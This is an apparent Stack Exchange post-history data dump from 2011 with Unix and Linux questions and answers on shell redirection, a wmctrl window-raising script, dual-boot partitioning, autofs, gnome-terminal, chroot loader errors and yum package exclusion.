  <row Id="33218" PostHistoryTypeId="3" PostId="13395" RevisionGUID="d3040229-803e-4f2d-b1eb-d2ce5a1567d5" CreationDate="2011-05-18T16:12:27.977" UserId="4877" Text="élinuxàéfileöcopyà" />
  <row Id="33219" PostHistoryTypeId="2" PostId="13396" RevisionGUID="8638b344-3cc2-4e97-84ec-1dab35c1f337" CreationDate="2011-05-18T16:14:28.053" UserId="1925" Text="The `&gt;` operator DOES overwrite the file by first truncating it to be empty and then writing. The `&gt;&gt;` operator would append. Perhaps you are actually using that?" />
  <row Id="33220" PostHistoryTypeId="5" PostId="13317" RevisionGUID="3fc1c4d2-adb9-4915-abe0-4855fb92efb8" CreationDate="2011-05-18T16:14:59.760" UserId="7505" Comment="added 66 characters in body" Text="I figured out the solution and have posted it on my blog. wmictrl did the trick. I found a script on fluxbox wiki which finds an application if its already running and raises its window or launches it if no instances is running. I'm using that script with certain tweaks to launch applications.&#xD;&#xA;&#xD;&#xA;I have documented it here:&#xD;&#xA;http://www.humbug.in/2011/single-keyboard-shortcut-to-launchraise-an-application/&#xD;&#xA;&#xD;&#xA;I updated the script to support arguments, the result is:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    # Find_app&#xD;&#xA;    # Author: Lucas van Staden (lvs at dedmeet.com / http://www.dedmeet.com)&#xD;&#xA;    # This little script will try and find the application attempting to start&#xD;&#xA;    # in the running processes, and if found, focus the application&#xD;&#xA;    # if not found, a new instance will start&#xD;&#xA;    # usage:&#xD;&#xA;    # find_app.sh &lt;application with full path&gt;&#xD;&#xA;    # params&#xD;&#xA;    # 1 - application to start (full path)&#xD;&#xA;    # helper applications&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    # Find_app&#xD;&#xA;    # Author: Lucas van Staden (lvs at dedmeet.com / http://www.dedmeet.com)&#xD;&#xA;    # This little script will try and find the application attempting to start&#xD;&#xA;    # in the running processes, and if found, focus the application&#xD;&#xA;    # if not found, a new instance will start&#xD;&#xA;    # usage:&#xD;&#xA;    # find_app.sh &lt;application with full path&gt;&#xD;&#xA;    # params&#xD;&#xA;    # 1 - application to start (full path)&#xD;&#xA;    # helper applications&#xD;&#xA;    DOLLARONE=$(echo $1 | sed -e 's/[\t ]*$//') #Delete trailing spaces&#xD;&#xA;    WMCTRL=`which wmctrl`;&#xD;&#xA;    GREP=`which grep`;&#xD;&#xA;    APPLICATION=$(echo $DOLLARONE | cut -d ' ' -f 1)&#xD;&#xA;    if [ &quot;x$APPLICATION&quot; != &quot;x$DOLLARONE&quot; ]; then&#xD;&#xA;      APPARGS=$(echo $DOLLARONE | cut -d ' ' -f 2)&#xD;&#xA;    fi&#xD;&#xA;    BASENAME=`basename $APPLICATION`;&#xD;&#xA;    BASENAME=`echo $BASENAME | tr &quot;[:upper:]&quot; &quot;[:lower:]&quot;`&#xD;&#xA;    FOUND=0;&#xD;&#xA;    function findwindow {&#xD;&#xA;    # 1 = BASENAME&#xD;&#xA;    # 2 = WMCTRL&#xD;&#xA;    # 3 = GREP&#xD;&#xA;            IFS=$'\n';&#xD;&#xA;            for RUNNING in `$2 -l -x`&#xD;&#xA;            do&#xD;&#xA;                    if [ `echo $RUNNING | tr &quot;[:upper:]&quot; &quot;[:lower:]&quot; | $3 -c $DOLLARONE` -gt 0 ]&#xD;&#xA;                    then&#xD;&#xA;                            HOSTNAME=`hostname`&#xD;&#xA;                            WINDOW=${RUNNING#*${HOSTNAME} }&#xD;&#xA;                            $2 -a $WINDOW&#xD;&#xA;                            FOUND=1;&#xD;&#xA;                    fi;&#xD;&#xA;            done&#xD;&#xA;    }&#xD;&#xA;    if [ &quot;x$APPARGS&quot; = &quot;x&quot; ]; then&#xD;&#xA;      findwindow $BASENAME $WMCTRL $GREP;&#xD;&#xA;      if [ $FOUND -eq 0 ]&#xD;&#xA;      then&#xD;&#xA;              $APPLICATION &amp;&#xD;&#xA;              sleep 2;&#xD;&#xA;              # Try and find the application, after opened&#xD;&#xA;              findwindow $BASENAME $WMCTRL $GREP;&#xD;&#xA;              if [ $FOUND -eq 0 ]&#xD;&#xA;              then&#xD;&#xA;                      # Still not found, wait a bit more, and try again&#xD;&#xA;                      sleep 3;&#xD;&#xA;                      findwindow $BASENAME $WMCTRL $GREP;&#xD;&#xA;              fi&#xD;&#xA;      fi&#xD;&#xA;    else&#xD;&#xA;      $APPLICATION $APPARGS &amp;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Add the above script to your path, possibly in `$HOME/bin/find_app.sh` and make it executable and make sure its in your path.&#xD;&#xA;&#xD;&#xA;make sure wmctrl is install&#xD;&#xA;&#xD;&#xA;    sudo apt-get install wmctrl&#xD;&#xA;&#xD;&#xA;Now update the desktop entry files of the applications you want to have a singular shortcut for launching as well as raising, so that the applications are invoked through the above script.&#xD;&#xA;&#xD;&#xA;For eg.&#xD;&#xA;&#xD;&#xA;    cp /usr/share/applications/firefox.desktop ~/.local/share/applications/&#xD;&#xA;&#xD;&#xA;Edit firefox.desktop in `~/.local/share/applications/` and change Exec to &#xD;&#xA;&#xD;&#xA;    Exec=find_app.sh &quot;firefox %u&quot;&#xD;&#xA;&#xD;&#xA;Now add keyboard shortcut for your default broswer `System Settings =&gt; Keyboard =&gt; Shortcuts =&gt; Launchers =&gt; Launch Web Browser`&#xD;&#xA;&#xD;&#xA;Now restart gnome shell =&gt; Press `Alt r` to bring up the run dialog. Input `r` and press `Enter`.&#xD;&#xA;&#xD;&#xA;Now you should be able to launch/raise your browser using a singular keyboard shortcut." />
  <row Id="33221" PostHistoryTypeId="5" PostId="13395" RevisionGUID="52609de2-a10b-4771-8ba0-cec2e7fef4ae" CreationDate="2011-05-18T16:15:27.973" UserId="1925" Comment="deleted 30 characters in body" Text="I'm doing a shell command (such as `sh run.sh &gt; log.txt`). How do you overwrite the file each time (so each time I run it `log.txt` doesn't get appended)&#xD;&#xA;&#xD;&#xA;I'm doing this in a python script and I'm checking the log file each time for a specific number (and I don't want the numbers to get added onto the `log.txt`, just replaced)" />
  <row Id="33222" PostHistoryTypeId="2" PostId="13397" RevisionGUID="4ec204de-5448-4472-af5e-51ea0e6b6163" CreationDate="2011-05-18T16:22:08.040" UserId="3217" Text="I'm using HP G42 laptop with 320GB hard-drive and 4 GB memory. I'm pretty sure that, it can be used for dual OS(Windows 7 &amp; fedora) Currently, I'm using only Windows 7, but, I need to install fedora. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;This my hard-drive  : &#xD;&#xA;&#xD;&#xA;Local disk(C) = 50GB(Windows 7 installed here)  &#xD;&#xA;Local disk(D) = rest(249GB)  (Data)  &#xD;&#xA;&#xD;&#xA;Both are formatted with NTFS file system. I need to access the Data which I saved in *Local Disk D* from both OSs.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can I do this?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="33223" PostHistoryTypeId="1" PostId="13397" RevisionGUID="4ec204de-5448-4472-af5e-51ea0e6b6163" CreationDate="2011-05-18T16:22:08.040" UserId="3217" Text="How to partition my hard-drive to be used for dual OS?" />
  <row Id="33224" PostHistoryTypeId="3" PostId="13397" RevisionGUID="4ec204de-5448-4472-af5e-51ea0e6b6163" CreationDate="2011-05-18T16:22:08.040" UserId="3217" Text="éfedoraàépartitionàéwindowsàédualöbootàéhardödiskà" />
  <row Id="33225" PostHistoryTypeId="6" PostId="13395" RevisionGUID="8834fcce-a1c9-4317-a0ae-583a320844ac" CreationDate="2011-05-18T16:43:31.360" UserId="885" Comment="edited tags" Text="éshellàéioöredirectionà" />
  <row Id="33227" PostHistoryTypeId="17" PostId="13399" RevisionGUID="016ff447-fce2-4ba8-9177-32b7a056f604" CreationDate="2011-05-18T16:48:46.170" UserId="-1" Comment="from http://stackoverflow.com/questions/6032711/explain-the-output-of-d-rates-in-gnu-find/6037697#6037697" Text="" />
  <row Id="33228" PostHistoryTypeId="2" PostId="13399" RevisionGUID="4f766ecb-7df2-4c70-a822-759bc305885a" CreationDate="2011-05-17T22:02:39.373" UserId="5131" Text="Judging from the source code, the numbers in square brackets are the _a priori_ estimated success rate for a given predicate.  That is, the first `[0.4]` is an estimate of the probability that the `-type d` will evaluate to true.  It may be used to determine the order in which the terms of the predicate are evaluated.  You can find more in `findutils-4.4.2/find/parser.c`, `findutils-4.4.2/find/tree.c` and `findutils-4.4.2/find/pred.c`." />
  <row Id="33229" PostHistoryTypeId="2" PostId="13398" RevisionGUID="7b6f64ee-30cc-478a-88e3-7c13fffc4b80" CreationDate="2011-05-17T14:52:40.533" UserDisplayName="abc" Text="I did &#xD;&#xA;&#xD;&#xA;    ~/pythonsource1/python2.6-2.6.5$ find -D rates . -type d&#xD;&#xA;&#xD;&#xA;and got&#xD;&#xA;&#xD;&#xA;    Predicate success rates after completion:&#xD;&#xA;    [need type] -type d [0.4] [280/4350=0.0643678] -a [0.4] [280/4350=0.0643678] -print [1] [280/280=1] &#xD;&#xA;&#xD;&#xA;What does the `[0.4]` indicate ?" />
  <row Id="33230" PostHistoryTypeId="1" PostId="13398" RevisionGUID="7b6f64ee-30cc-478a-88e3-7c13fffc4b80" CreationDate="2011-05-17T14:52:40.533" UserDisplayName="abc" Text="Explain the output of -D rates in GNU find" />
  <row Id="33231" PostHistoryTypeId="3" PostId="13398" RevisionGUID="7b6f64ee-30cc-478a-88e3-7c13fffc4b80" CreationDate="2011-05-17T14:52:40.533" UserDisplayName="abc" Text="élinuxàéshellàéfindà" />
  <row Id="33232" PostHistoryTypeId="17" PostId="13398" RevisionGUID="1039a0e9-bca2-4ee6-ba83-132f6d13a992" CreationDate="2011-05-18T16:48:46.170" UserId="-1" Comment="from http://stackoverflow.com/questions/6032711/explain-the-output-of-d-rates-in-gnu-find" Text="" />
  <row Id="33233" PostHistoryTypeId="2" PostId="13400" RevisionGUID="76a9f5f7-e5b7-499b-b753-ccb34207fa49" CreationDate="2011-05-18T17:27:03.450" UserId="688" Text="Fedora installer must have a partitioning tool that will also allow you to resize that big partition. Here's a scheme I have in mind: &#xD;&#xA;&#xD;&#xA;* Resize the large partition to something like 220GB.&#xD;&#xA;* 2-4 GB swap partition (this will come in handy in case you want to suspend, or if you are going to be running memory-intensive software).&#xD;&#xA;* 20-30 GB partitioning for the installation (keeping things simple).&#xD;&#xA;&#xD;&#xA;So that's two extra partitions on the drive, making a total of 4. Set them to primary or logical (doesn't matter at this point).&#xD;&#xA;&#xD;&#xA;This scheme assumes that you are going to be putting most of your data in the big NTFS partition. Normally I'd advice to just have a large **&quot;/home&quot;** partition.&#xD;&#xA;&#xD;&#xA;Once you've finished installation, make sure that **`ntfs-3g`** is installed. I've found it to be an excellent piece of software, and it allows write access to NTFS filesystems too." />
  <row Id="33234" PostHistoryTypeId="5" PostId="13397" RevisionGUID="77195c2b-2ab5-4d03-bbd8-a2f1234b4fd9" CreationDate="2011-05-18T17:27:50.657" UserId="688" Comment="deleted 20 characters in body" Text="I'm using HP G42 laptop with 320GB hard-drive and 4 GB memory. I'm pretty sure that, it can be used for dual OS(Windows 7 &amp; fedora) Currently, I'm using only Windows 7, but, I need to install fedora.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;This my hard-drive: &#xD;&#xA;&#xD;&#xA;Local disk(C) = 50GB(Windows 7 installed here)  &#xD;&#xA;Local disk(D) = rest(249GB)  (Data)  &#xD;&#xA;&#xD;&#xA;Both are formatted with NTFS file system. I need to access the data which I saved in *Local Disk D* from both OSs.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can I do this? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33239" PostHistoryTypeId="25" PostId="13395" RevisionGUID="6935ad88-f6e0-4611-a85f-dc4cc6f56bbd" CreationDate="2011-05-18T18:12:23.037" Comment="http://twitter.com/#!/StackUnix/status/70914642192498688" />
  <row Id="33240" PostHistoryTypeId="2" PostId="13402" RevisionGUID="8f9de72e-f814-4f95-aab8-03144ff8c263" CreationDate="2011-05-18T18:24:46.193" UserId="6309" Text="I recently have been trying out Arch Linux. It seems that their autofs has a usability bug, although I confess that I'm new enough to Arch that I may be missing something horribly obvious.&#xD;&#xA;&#xD;&#xA;I want autofs to automagically mount hosts under `/net` like it has always done. Traditionally it used `/etc/auto.net` to accomplish this, however it seems that they've done away with this and now you simply use the following line:&#xD;&#xA;&#xD;&#xA;    /net -hosts --timeout=60&#xD;&#xA;&#xD;&#xA;Fine and dandy, most things seem to work. However, under Arch it seems that ghosting is enabled by default. This is a bad thing, because it uses my hosts file which only contains aliases of my local host (which is NOT running an NFS server, mind you). As a result, I get all kinds of errors about being unable to mount these hosts *every time* I run an `ls` in `/net`.&#xD;&#xA;&#xD;&#xA;Notice: I'm not using `--ghost`, and yet it enables it by default. Arch [confirms this on their wiki][1]. This is extremely annoying, how do I *disable* ghosting? Google has failed me horribly, any insight is appreciated. Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Autofs#NFS_Network_mounts" />
  <row Id="33241" PostHistoryTypeId="1" PostId="13402" RevisionGUID="8f9de72e-f814-4f95-aab8-03144ff8c263" CreationDate="2011-05-18T18:24:46.193" UserId="6309" Text="Disable /net ghosting for autofs5" />
  <row Id="33242" PostHistoryTypeId="3" PostId="13402" RevisionGUID="8f9de72e-f814-4f95-aab8-03144ff8c263" CreationDate="2011-05-18T18:24:46.193" UserId="6309" Text="éarchölinuxàéautomountingàéautofsà" />
  <row Id="33243" PostHistoryTypeId="6" PostId="13398" RevisionGUID="58f46677-f82b-4a54-92d0-b7e3bac93d01" CreationDate="2011-05-18T18:27:11.103" UserId="885" Comment="edited tags" Text="élinuxàéfindàéutilitiesà" />
  <row Id="33244" PostHistoryTypeId="2" PostId="13403" RevisionGUID="4fc5d6f2-ad51-4443-87f6-5e0e9d764af7" CreationDate="2011-05-18T18:29:00.483" UserId="1875" Text="I'm having a weired issue wih my Fedora 14 recently. &#xD;&#xA;&#xD;&#xA;Many details involed. Let's start from this:&#xD;&#xA;&#xD;&#xA;I've been using Fedora 14 for months, and recent few days, offten I can't access Internet for hours. I can verify by a iPod Touch that connected to the same router, that the connection is fine.  &#xD;&#xA;&#xD;&#xA;Any tips? &#xD;&#xA;&#xD;&#xA;traceroute on Linux&#xD;&#xA;&#xD;&#xA;    traceroute to 163.com (220.181.8.178), 30 hops max, 60 byte packets&#xD;&#xA;     1  * * *&#xD;&#xA;     2  58.246.230.1 (58.246.230.1)  6.228 ms * *&#xD;&#xA;     3  * * *&#xD;&#xA;     4  * * *&#xD;&#xA;     5  * * *&#xD;&#xA;     6  * * 112.64.243.170 (112.64.243.170)  6.627 ms&#xD;&#xA;     7  * * *&#xD;&#xA;     8  219.158.15.141 (219.158.15.141)  7.874 ms * *&#xD;&#xA;     9  * * *&#xD;&#xA;    10  * * *&#xD;&#xA;    11  * * *&#xD;&#xA;    12  * * 202.97.53.21 (202.97.53.21)  57.812 ms&#xD;&#xA;    13  * * *&#xD;&#xA;    14  220.181.16.138 (220.181.16.138)  57.633 ms * *&#xD;&#xA;    15  * * *&#xD;&#xA;    16  * * *&#xD;&#xA;    17  * * *&#xD;&#xA;    18  * * 220.181.8.178 (220.181.8.178)  59.643 ms&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;traceroute on Router (Tomato)&#xD;&#xA;&#xD;&#xA;    traceroute to 163.com (220.181.8.90), 30 hops max, 38 byte packets&#xD;&#xA;     1  58.246.230.1 (58.246.230.1)  2.178 ms  2.125 ms  9.450 ms&#xD;&#xA;     2  112.64.245.49 (112.64.245.49)  1.491 ms  1.361 ms  1.104 ms&#xD;&#xA;     3  112.64.245.37 (112.64.245.37)  1.647 ms  1.351 ms  1.712 ms&#xD;&#xA;     4  112.64.247.1 (112.64.247.1)  1.911 ms  4.424 ms  2.837 ms&#xD;&#xA;     5  112.64.243.170 (112.64.243.170)  2.322 ms  2.242 ms  2.126 ms&#xD;&#xA;     6  112.64.243.89 (112.64.243.89)  2.903 ms  2.345 ms  2.032 ms&#xD;&#xA;     7  219.158.21.237 (219.158.21.237)  3.180 ms  2.553 ms  2.501 ms&#xD;&#xA;     8  219.158.96.49 (219.158.96.49)  25.018 ms  24.734 ms  24.605 ms&#xD;&#xA;     9  219.158.5.82 (219.158.5.82)  24.555 ms  24.450 ms  24.473 ms&#xD;&#xA;    10  219.158.35.2 (219.158.35.2)  53.599 ms  77.827 ms  53.791 ms&#xD;&#xA;    11  202.97.53.21 (202.97.53.21)  55.111 ms  54.861 ms  55.390 ms&#xD;&#xA;    12  220.181.16.2 (220.181.16.2)  55.531 ms  56.193 ms  55.430 ms&#xD;&#xA;    13  220.181.16.138 (220.181.16.138)  52.883 ms  56.370 ms  54.770 ms&#xD;&#xA;    14  220.181.17.58 (220.181.17.58)  61.931 ms  51.274 ms  53.879 ms&#xD;&#xA;    15  220.181.8.90 (220.181.8.90)  50.331 ms  50.219 ms  50.177 ms" />
  <row Id="33245" PostHistoryTypeId="1" PostId="13403" RevisionGUID="4fc5d6f2-ad51-4443-87f6-5e0e9d764af7" CreationDate="2011-05-18T18:29:00.483" UserId="1875" Text="Can't access HTTP contents, but HTTPS and SSH are fine." />
  <row Id="33246" PostHistoryTypeId="3" PostId="13403" RevisionGUID="4fc5d6f2-ad51-4443-87f6-5e0e9d764af7" CreationDate="2011-05-18T18:29:00.483" UserId="1875" Text="énetworkà" />
  <row Id="33247" PostHistoryTypeId="2" PostId="13404" RevisionGUID="19ee2042-30a6-4dfd-899f-b7170a899405" CreationDate="2011-05-18T18:33:52.917" UserId="7582" Text="Why in the world do all my gnome terminals run under 1 processin Ubuntu?  This is integrating things that should remain separated!  I much prefer xterm's rational mode of running one process per window.&#xD;&#xA;&#xD;&#xA;I tried to switch some auto-started windows from xterm to gnome-terminal so I can freeze a log file from scrolling while I'm looking at it.  Unfortunately, I can no longer kill my log windows that are littering my desktop.  Just accidentally killed every terminal I had open!!!&#xD;&#xA;&#xD;&#xA;1. Can I kill individual gnome-terminal windows as if they are single shell processes? (you know, like a normal process)&#xD;&#xA;OR&#xD;&#xA;2. Can I stop auto-scrolling of tail -f inside an xterm by manually scrolling up, so I can read the log file while it's growing?" />
  <row Id="33248" PostHistoryTypeId="1" PostId="13404" RevisionGUID="19ee2042-30a6-4dfd-899f-b7170a899405" CreationDate="2011-05-18T18:33:52.917" UserId="7582" Text="How do I kill 1 gnome-terminal window?" />
  <row Id="33249" PostHistoryTypeId="3" PostId="13404" RevisionGUID="19ee2042-30a6-4dfd-899f-b7170a899405" CreationDate="2011-05-18T18:33:52.917" UserId="7582" Text="élinuxàéubuntuàégnomeöterminalà" />
  <row Id="33250" PostHistoryTypeId="6" PostId="13403" RevisionGUID="0f50af15-696f-4fc7-b4c6-d1d98db5d308" CreationDate="2011-05-18T18:39:27.350" UserId="885" Comment="edited tags" Text="énetworkingàéipàéinternetà" />
  <row Id="33251" PostHistoryTypeId="2" PostId="13405" RevisionGUID="a02babb1-ff17-4393-ac10-1f2afc45b983" CreationDate="2011-05-18T18:48:17.950" UserId="1925" Text="Whether terminals should be one process or many is an argument for another day, I think killing them as a way to look at scroll back data is a miss-use of technology.&#xD;&#xA;&#xD;&#xA;I suggest you look into using GNU `screen` or `tmux`. Probably the later since it's actively developed and easier to get going with.&#xD;&#xA;&#xD;&#xA;If you run tmux all your terminals you will be able to do crazy ninja tricks like scrolling back through all output, multiple panes and tab in any given terminal, disconnected from one terminal and picking up where you left off in another, full terminal output logging, copy/paste magic, process monitoring, and even being able to kill any given shell tab." />
  <row Id="33252" PostHistoryTypeId="2" PostId="13406" RevisionGUID="ffcd4dd0-2695-4607-be7f-f464230efdd7" CreationDate="2011-05-18T18:53:11.527" UserId="1762" Text="Consider using `Ctrl-Z` to suspend the tail process and later resume it with `fg`. In some cases the flow control characters (`Ctrl-S` to stop, `Ctrl-Q` to resume) can be used, but they are disabled by default in most modern terminals." />
  <row Id="33253" PostHistoryTypeId="2" PostId="13407" RevisionGUID="38fc7398-66c6-489f-b683-49849ceeb6af" CreationDate="2011-05-18T19:00:20.967" UserId="4477" Text="You can find out using `cryptsetup luksDump /dev/sdXX`. As far as I know dm-crypt is a kernel module for disk encryption while LUKS is a specific format. I am not aware of any other formats you can use with dm-crypt so they are basically the same." />
  <row Id="33254" PostHistoryTypeId="2" PostId="13408" RevisionGUID="c1c57ee2-791c-4a28-a7a6-9de5ec421844" CreationDate="2011-05-18T19:18:20.280" UserId="885" Text="To get rid of a single window, use its close button. Or find out the process ID of the program running inside it, and kill it.&#xD;&#xA;&#xD;&#xA;All unix terminals have a feature from way back when a [terminal](http://en.wikipedia.org/wiki/Teleprinter) was a piece of hardware connected to the computer via a serial port. The terminal could send [flow control](http://en.wikipedia.org/wiki/Flow_control#Transmit_flow_control) commands to the computer: [“XON”](http://en.wikipedia.org/wiki/XON/XOFF) (meaning “stop sending me stuff, I'm not ready”) and [“XOFF”](http://en.wikipedia.org/wiki/XON/XOFF) (meaning “ok, throw me what you've got”). I normally recommend turning these features off in your terminal configuration (the command is [`stty -ixon`](http://en.wikipedia.org/wiki/Stty)), but in this particular case, they're useful: press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; to stop scrolling, and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Q&lt;/kbd&gt; to resume.&#xD;&#xA;&#xD;&#xA;`tail -f` isn't the best way to read log files. Try out [multitail](http://www.vanheusden.com/multitail/), which is `tail -f` with coloring, filters, multiple windows and other stuff. Even if all you want to do is tail one file, run `less +F`, which turns on less's tail mode. Press `Ctrl+C` to switch to browsing and `F` to switch back to tailing.&#xD;&#xA;" />
  <row Id="33255" PostHistoryTypeId="5" PostId="13406" RevisionGUID="3a2034ed-90be-4b8d-a5dd-1e976b6c269c" CreationDate="2011-05-18T19:37:57.480" UserId="1762" Comment="edited body" Text="Consider using `Ctrl-Z` to suspend the tail process and later resume it with `fg`. In some cases the flow control characters (`Ctrl-S` to stop, `Ctrl-Q` to resume) can be used, but they are disabled by default on most modern terminals." />
  <row Id="33256" PostHistoryTypeId="2" PostId="13409" RevisionGUID="47653ba9-0cdf-4237-a9a1-c34d0e84ca4a" CreationDate="2011-05-18T19:49:07.413" UserId="885" Text="When you fail to execute a file that depends on a “loader”, the error you get may refer to the loader rather than the file you're executing.&#xD;&#xA;&#xD;&#xA;* The loader of a dynamically-linked native executable is the part of the system that's responsible for loading dynamic libraries. It's something like `/lib/ld.so` or `/lib/ld-linux.so.2`, and should be an executable file.&#xD;&#xA;* The loader of a script is the program mentioned on the shebang line, e.g. `/bin/sh` for a script that begins with `#!/bin/sh`.&#xD;&#xA;&#xD;&#xA;The error message is rather misleading in not indicating that the loader is the problem. Unfortunately, fixing this would be hard because the kernel interface only has room for reporting a numeric error code, not for also indicating that the error in fact concerns a different file. Some shells do the work themselves for scripts (reading the `#!` line on the script and re-working out the error condition), but none that I've seen attempt to do the same for native binaries.&#xD;&#xA;&#xD;&#xA;`ldd` won't work on the binaries either because it works by setting some special environment variables and then running the program, letting the loader do the work. `strace` wouldn't provide any meaningful information either, since it wouldn't report more than what the kernel reports, and as we've seen the kernel can't report everything it knows.&#xD;&#xA;&#xD;&#xA;This situation often arises when you try to run a binary for the right system (or family of systems) and superarchitecture but the wrong subarchitecture. Here you have ELF binaries on a system that expects ELF binaries, so the kernel loads them just fine. They are i386 binaries running on an x86_64 processor, so the instructions make sense and get the program to the point where it can look for its loader. But the program is a 32-bit program (as the `file` output indicates), looking for the 32-bit loader `/lib/ld-linux.so.2`, and you've presumably only installed the 64-bit loader `/lib64/ld-linux-x86-64.so.2` in the chroot.&#xD;&#xA;&#xD;&#xA;You need to install the 32-bit runtime system in the chroot: the loader, and all the libraries the programs need. On Debian amd64, the 32-bit loader is in the [`libc6-i386`](http://packages.debian.org/libc6-i386) package. You can install a bigger set of 32-bit libraries by installing [`ia32-libs`](http://packages.debian.org/ia32-libs).&#xD;&#xA;" />
  <row Id="33257" PostHistoryTypeId="2" PostId="13410" RevisionGUID="a4dfefe5-3a96-4d4f-9dfd-316c910f06af" CreationDate="2011-05-18T19:50:28.927" UserId="7395" Text="Is there any way to prevent yum from upgrading a package obsoleted by other package?&#xD;&#xA;&#xD;&#xA;I have created a custom repo containing some packages, among them openh323-devel. In current versions of CentOS, openh323 is marked as being obsoleted by OPAL, but I don't want to compile other software (namely YATE) against OPAL. I have openh323-devel installed, but every time I do 'yum update', it wants me to upgrade it to OPAL. &#xD;&#xA;&#xD;&#xA;Is there any way I can tell yum that I permanently don't want to use OPAL (or any other superseding package for that matter) in a manner similar to apt pinning? of course, I can &quot;--exclude&quot; specifica packages, but that's not what I want." />
  <row Id="33258" PostHistoryTypeId="1" PostId="13410" RevisionGUID="a4dfefe5-3a96-4d4f-9dfd-316c910f06af" CreationDate="2011-05-18T19:50:28.927" UserId="7395" Text="How to block yum from upgrading obsoleted package?" />
  <row Id="33259" PostHistoryTypeId="3" PostId="13410" RevisionGUID="a4dfefe5-3a96-4d4f-9dfd-316c910f06af" CreationDate="2011-05-18T19:50:28.927" UserId="7395" Text="éyumàéupgradeà" />
  <row Id="33260" PostHistoryTypeId="2" PostId="13411" RevisionGUID="feaf0208-bce7-41f4-ae5b-caf7696fd4da" CreationDate="2011-05-18T19:52:13.173" UserId="2701" Text="If I understand correctly, both drives are formatted in their entirety as NTFS. Is that correct?&#xD;&#xA;&#xD;&#xA;If so, then you will not be able to install Fedora, or anything else for that matter, without destroying data unless you wish to include new hardware such as a third hard disk. It is possible to run many Linux distributions &quot;live&quot;, meaning from memory or a CD/DVD only. This option is still available to you and to access data from an NTFS partition you need only ensure that the kernel included in the distribution of your choice was built with NTFS support, most live distributions are, and execute a command similar to: `mount -t ntfs /some/mount/point` Please note that certain distributions of `mount` use `-F` in place of `-t`&#xD;&#xA;&#xD;&#xA;Another option, depending on what you wish to accomplish with Fedora, is to use [VirtualBox][1], [VMWare][2], or a different virtualization platform of your choice to run one or more virtual machines. This would not necessarily require that you alter your current partitioning scheme. Be sure to select a virtualization platform that will allow you to include external devices, such as your current drives `C:\` and `D:\`, in your virtual machine(s).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.virtualbox.org/&#xD;&#xA;  [2]: http://www.vmware.com/" />
  <row Id="33261" PostHistoryTypeId="5" PostId="13391" RevisionGUID="39a0db9a-0d7f-453f-ae8a-37dae8b468c6" CreationDate="2011-05-18T19:52:16.247" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [&amp;ldquo;No such file or directory&amp;rdquo; lies on Optware installed binaries](http://unix.stackexchange.com/questions/11000/no-such-file-or-directory-lies-on-optware-installed-binaries)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have currently a strange problem on debian (wheezy/amd64).&#xD;&#xA;&#xD;&#xA;I have created a chroot to install a server (i can't give any more detail about it, sorry). Let's call its path `/chr_path/`.&#xD;&#xA;To make things easy, I have initialized this chroot with a debootstrap (also wheezy/amd64).&#xD;&#xA;&#xD;&#xA;All seemed to work well inside the chroot but when I started the installer script of my serveur I got :&#xD;&#xA;`zsh: Not found /some_path/perl` (the installer includes a perl binary for some reasons)&#xD;&#xA;&#xD;&#xA;Naturally, I checked the `/some_path/` location and I found the &quot;perl&quot; binary. `file` in chroot environment returns :&#xD;&#xA;&#xD;&#xA;    /some_path/perl ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped&#xD;&#xA;&#xD;&#xA;The file exists, seems ok, has correct rights. I can use `file`, `ls`, `vim` on it but as soon as I try to execute it - `./perl` for example - I get : `zsh: Not found ./perl`.&#xD;&#xA;&#xD;&#xA;This situation is quite ununderstable for me. Moreover :&#xD;&#xA;&#xD;&#xA; - I can execute other basic binaries (/bin/ls,...) in the chroot without getting errors&#xD;&#xA; - I have the same problems for other binaries that came with the project&#xD;&#xA; - When I try to execute the binary from the main root (`/chr_path/some_path/perl`), it works.&#xD;&#xA; - I have tried to put one of the binaries with a copy of my `ls`. I checked that the access rights were the same but this didn't change anything (one was working, and the other wasn't)" />
  <row Id="33262" PostHistoryTypeId="10" PostId="13391" RevisionGUID="0e22e0ec-87b9-4a45-b63e-c4d537bb1fc7" CreationDate="2011-05-18T19:52:15.713" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="33263" PostHistoryTypeId="2" PostId="13412" RevisionGUID="126cf42f-9c68-4b3f-91f4-6ff5b1fbfcd8" CreationDate="2011-05-18T19:56:44.147" UserId="1925" Text="You should be able to permanently exclude rule by adding it to your `/etc/yum.conf` file. You can also use wildcards to exclude more than one package based on a pattern. Try:&#xD;&#xA;&#xD;&#xA;    exclude=*OPAL*" />
